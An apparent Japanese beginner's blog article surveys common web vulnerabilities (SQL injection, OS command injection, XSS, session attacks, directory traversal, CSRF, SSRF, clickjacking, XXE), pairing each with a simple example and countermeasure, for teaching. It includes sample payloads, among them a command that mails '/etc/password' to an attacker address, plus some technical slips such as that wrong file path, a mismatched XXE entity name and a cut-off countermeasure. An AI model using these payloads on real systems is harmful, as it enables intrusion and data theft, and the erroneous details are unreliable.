Webのセキュリティ
プログラミングスクールからエンジニアデビューしたものですが、セキュリティの重要さと、攻撃された時の恐ろしさに戦々恐々としました。今でもしてます。
たとえ、エンジニアでなくとも、最低限の対策をしないとリリースするのは危険です。
プログラミングスクールではセキュリティについては、深く学ぶことはあまりないと思います。
自分と同じ駆け出しエンジニアさんや、エンジニアじゃないけど、Webサービスリリースしたい!みたいな方に共有できたらと思います。
セミナーでセキュリティについて学んできたので、復習も兼ねて自分なりの解釈で記事に落とそうと思います。
脆弱性?
Webサイトの脆弱性は二種類。
ロジックエラー(設計段階で生まれる脆弱性)
セッションの管理不備や特殊文字を処理せずにデータを受け渡してしまうことです。
テクニカルエラー(実装段階で生まれる脆弱性)
SQLインジェクション、XSS(クロスサイトスクリプティング)などの対策の不足
SQLインジェクション
概要
データベースを操作するSQL文をフォームなどを通して送信し、アプリ側で任意のSQL文を実行させることを言います。
入社試験でこの語句を解説しろという問題も出ました。それくらい対策必須かつ、被害の多い攻撃です。
ニュースを賑わす、企業の情報流出は巧妙なこのSQLインジェクションによるものが圧倒的に多いそうです。
SQL インジェクションとは?- サイト運営者のためのWebサイトセキュリティ対策入門
例
簡易的に下記のようなSQL用いて、ユーザーIDとパスワードだけで認証をするシステムがあったとします。(今時暗号化されていないpasswordはありえませんが)
SELECT * FROM users WHERE id='$user_id' and password='$password'
↓
犯罪者は変数**$password**に' OR '1' = '1
と入るようにユーザー登録をします。
↓
すると、
SELECT * FROM users WHERE id='$user_id' and password='' or '1' = '1'
というpasswordがあってなくても、この世で1が1ならば全件取得するという無茶苦茶な条件式が出来上がります。
ダダ漏れですね。
対策
代表的なものでは、プログラム側で静的プレースホルダを実装することが有効とされています。
SELECT * FROM users WHERE id= ? and password= ?
プレースホルダは?の中に変数の値を埋め込んでくれます。(バインディング)
PDOStatementでDB接続したと仮定して変数データを?に以下のようにバインディングします。
$sql = "SELECT * FROM users WHERE id= ? and password= ? ";
//プリペアードステートメント->実行したいSQLをコンパイルした一種のテンプレート
$sth = $dbh->prepare($sql);
//1つ目の?にバインド
$sth->bindParam(1, $user_id, PDO::PARAM_STR);
//2つ目の?にバインド
$sth->bindParam(2, $password, PDO::PARAM_INT);
//PDPStatement::excecute-> プリペアドステートメントを実行する
$sth->execute();
PDOStatement::bindParam
プリペアドステートメントおよびストアドプロシージャ
OSコマンドインジェクション
概要
SQL文ではなく、OSコマンドを送り込んでダイレクトに操作してしまう攻撃です。
Webサイトの挙動から、PHPでいうexec関数などの外部のプログラムをコマンドにより呼び出す関数を推測され、システムを操作されます。
メール送信機能はOSコマンドを使用しやすいので、そこに乗せて攻撃されることが多いようです。
例
こういうwebアプリケーションのお問い合わせフォームは、メールを自動送信するときにmailコマンドやsendmailコマンドを使用しています。
↓
犯罪者がどこかの箇所に、
;cat /etc/password | mail hacker_no@gmail.com
とでも打てばコマンド呼び出し関数は;(セミコロン)の後も読み込み、passwordファイルやら重要なファイルをダウンロードし犯罪者に送信します。
対策
対策としては前提として、OSコマンドを呼び出す関数はできるだけ使わないこと。
もし、呼び出すなら必ず特殊文字をエスケープすること。
XSS(クロスサイトスクリプティング)
概要
ブラウザ上で不正なスクリプト(一般的にはJavaScript)を動作させる攻撃。
GETまたはPOSTでWebサイトにスクリプトを送信し、そのまま表示しようとすれば、そのままUIとして動作します。
入力文字列が遷移先で表示されるアルゴリズムには、XSS脆弱性が潜んでいる可能性があります。
JavaScriptでできるすべてのことがリスクになりえます。
例
極端に簡単な例ですが...
<input type="text" name= 'nickname' >
がPOSTで飛んできたものを
次ページで
<?php echo $_POST['nickname']; ?>
と表示するプログラムがあるとすると。
↓
犯罪者が
<script type=”text/javascript”>
alert("お前はアホなのか?");
</script>
とフォーム送信すればHTMLにスクリプトタグで埋め込まれて表示されるので、Web上に暴言をアラート表示します。
他にもURLを踏ませたり、偽ページに遷移したり、後述するcookie取得によるセッションハイジャックなど、様々な攻撃法を持っています。
JavaScriptでできるすべてのことがリスクになりえます。(二回目)
対策
代表的なのは、文字列出力の際の特殊文字エンコードです。特殊文字を以下のように置き換えます。
& => &
< => <
> => >
" => "
' => '
ただ、PHPはhtmlspecialchars関数を使用すると自動的にエンコードしてくれます。
function escape($str) {
return htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
}
反射型、蓄積型、DOM Based XSSというタイプ分けもあり、もっと深く知りたい方は、以下の記事参考になります。
結局XSSって何なの?
XST(クロスサイトトレーシング)
概要
これは結論から言うと、XSSを利用しTRACEメソッドを発行させる攻撃ですが、ブラウザの進化により、もう出来ないそうです。
ただ、未だにギャーギャー指摘してくる人間は一定数いるので、対策しておくに越したことはないそうです。
対策
対策は簡単で、上述のエンコードをした上で、WebサーバーのTRACEメソッド設定を無効にすればいいようです。
[Apache] TRACEメソッドを無効にする - itochif.com
セッションハイジャック
概要
セッションは銀行や携帯ショップの番号札のようなものです。
そのセッション管理のロジックの脆弱性をつき、推測可能性が高ければ、そのまま使用したり、総当たりでセッションを自動生成してアクセスし、成功するまで繰り返します。
そして、セッションIDを使用しているユーザーになりすまし、悪事を働きます。
例
何度かアクセスし、セッションIDをログする。(こんな簡単なのは流石にないですが、パターンを読み解くと言う意味で。)
106662
106664
106666
106668
106669
106675
こうなると、前半の1066は固定で、下2桁はカウントアップだと言うことが一目瞭然です。あとは、下2桁を総当たりでアクセスし続け、他人のセッションIDを使って成り済ますことができます。
対策
前提の対策として、セッションIDを簡単に予測出来るものにしないことです。
リクエストごとにセッションIDを変えたり、有効期限を設定したり、HTTPS(暗号化SSL/TLS通信)を使用するなどして、推測しづらく、可変性の高いものを目指しましょう。
セッション固定攻撃
概要
前述のセッションハイジャックの逆で、罠を仕掛けて、攻撃者が指定したセッションIDをユーザーに知らず知らずに使わせる方法です。XSSのように罠ありきの受動的な攻撃です。
例
犯罪者はセッションidを含んだURLをメールなりXSSなりでユーザーに踏ませます。
↓
http://www.hanzai.com/login.cgi?sesid=893893
↓
こうして、犯罪者側のログインセッションに無意識のうちに有効にしてしまいます。入られてしまえば、あとはやりたい放題です。
対策
対策としては、セッションハイジャックと似ており、やはりセッションIDを認証ごとに変えたり、認証を行わない場所ではセッションIDを使わないといった対策が考えられます。
Httpヘッダインジェクション、メールサーバーインジェクション
概要
文字通り、 HTTPレスポンスに任意のヘッダやボディを追加する攻撃です。メールサーバーインジェクションは、同じようにメールヘッダに、任意のヘッダや本文を追加する攻撃です。
例
HTTPヘッダは改行で区切りを判断しております。
以下、%0dは改行コードです。
http://hanzai.com?location=%0d%0d<script type=”text/javascript”>alert(“アホなの?”);</script>
単純に言えば、本来の動きとは違うこういった、任意のヘッダを入れて改竄してしまうのですね。
レスポンスヘッダやボディを改竄するというのは、UIが改ざんされるという事ですから、ユーザーのクッキー(cookie)情報を抜き取るスクリプトなんてこともできるようです(javascriptを埋め込むことができるということです。)
対策
Webサーバや言語のライブラリ、APIをなるべく使いましょう。
あらかじめ用意されたものなので、余分な改行コードによって改変される可能性が少ないです。
また、アプリ側のバリデーションを徹底しましょう。
ディレクトリトラバーサル(Directory Traversal)
概要
**../../XXX
**などの相対パスを使ったリクエストを送り、ディレクトリ移動しアプリ内の非公開ディレクトリや他のファイルに横断的にアクセスされ、重要な情報を盗む攻撃です。
現在、なかなかホットな攻撃手法のようです。
例
http://hanzai.com/file.php?fn=hanzai.pdf
上記のリクエストで指定されるべき、pdfファイルダウンロードのfile.php
というphpスクリプトがあったとします。
↓
http://hanzai.com/file.php?fn=../etc/password
と犯罪者はリクエストを改変して送ってきます。
もし脆弱性があれば、簡単にファイルを盗まれてしまいます。
対策
想定される文字列のみ受け付けるバリデーションをしましょう。
..(%2e%2e) /(%2f) ¥(%5c)といったディレクトリ移動に繋がる文字、HTMLエンコードはできるだけ弾きましょう。
また、秘密ファイルへのアクセス権は厳重にしましょう。
CSRF(クロスサイトリクエストフォージェリ)
概要
正規ユーザの権限を利用し、特定の処理を促します。XSSのような受動的な攻撃で、Railsのprotect from forgery
やlaravelの{{ csrf_field() }}
など、フレームワークではデフォルトで対策のための関数を多く見かけます。
例
特定の商品を購入させたり、メール強制送信、登録情報変更と、ユーザー権限を利用できるものすべてが可能な攻撃方法です。
対策
重要な処理の前では再認証を行ったり、ダブル認証など、認証機能にはなるべく気を払いましょう。CSRF Token設置が代表的な対策でしょうか。
SSRF(サーバーサイドリクエストフォージェリ)
概要
Webサーバーがユーザーから送られてきた検証されていないパラメーターへの要求を実行するときに発生します。
正規ユーザの権限を利用しリクエストを偽造するのがCSRFです。権限を利用した偽造攻撃という点で、CSRFの類似攻撃です。CSRFはリクエストに乗せて攻撃を行なっていたのに対し、SSRFはサーバーの権限を不正利用し、コマンドを実行します。
SSRF サーバーが持つ権限・認証を利用して不正な命令を実行
CSRF クライアントが持つ権限・認証を利用して不正な命令を実行
上記記事を参考にすると、クライアントサイドで起こるリクエスト偽造攻撃がCSRF、サーバーサイドで起こるリクエスト偽造攻撃がSSRFということがわかり、リクエストフォージェリが何なのか腹落ちします。
@shiracamus さんより
Server Side Request Forgery
対策
リクエストのパラメータが予定しているパラメータなのか、バリデーションの徹底。
クリックジャッキング
概要
ログイン認証後画面にiframe要素、スタイルシートなどを駆使して罠を設置し、ユーザーの意図している動きに見せかけて、全く違う操作を行わせます。
比較的新しい攻撃のようです。
Webエンジニアだったら当然知っておきたい「 クリックジャッキング対策 」とは?
例
表示されたボタンをクリックするだけで操作が完了する画面があったとします。
↓
犯罪者はCSSのopacityなどを使い、攻撃対象画面を透明にしユーザーが操作していると思っている画面に、まるでビニールシートのような罠を設置します。
↓
ユーザーは自分が押していると思っていないボタンを押します。攻撃されたことにも気づきません。
対策
ヘッダのパラメータとして、X-Frame-Optionsを設定します。そして、DENYまたはSAMEORIGINを設定します。
XXE(XML External Entity)
概要
CSRFに似た攻撃で、XML外部実体参照といいます。
XMLを処理するときに起こるアプリケーションの脆弱性を指します。
XMLはHTMLのようなマークアップ言語の一つで、Android開発などでも使用されます。
例
XMLの構造を定義するものを、DTD(Document Type Definition)といいます。HTMLヘッダでもするような宣言ですね。
外部参照とは、この宣言で定義されている、実体名を使い実体の内容を参照することです。
<?xml version="1.0"?>
<str><data1>aaa</data1><data2>bbb</data2></str>
に対し、犯罪者は以下のようなXMLを送ります。
<?xml version="1.0"?>
<!DOCTYPE str [
<!ENTITY pass SYSTEM "/etc/password">
]>
<str><data1>&password;</data1><data2></data2></str>
&以下に実体名を指定するとこれを盗み出すことが可能となります。
対策
PHPの場合、外部のDTDの読み込みは、デフォルトでは無効になっているため、オプションで有効にするように
まとめ
これだけ種類があると頭が混乱してしまいますが、Web業界にいる人は職種を問わずセキュリティの知識が必要だなと思わされる今日この頃です。
後半になるにつれて勉強不足で簡素になってしまいましたが、間違っている部分、足りない部分などあれば編集リクエストやコメントでご指摘頂きたいです。
以下、簡素ですがHTTPS通信についても書いてみました。
Webセキュリティ覚書 : "HTTPS" 編 [ 初学者向け ]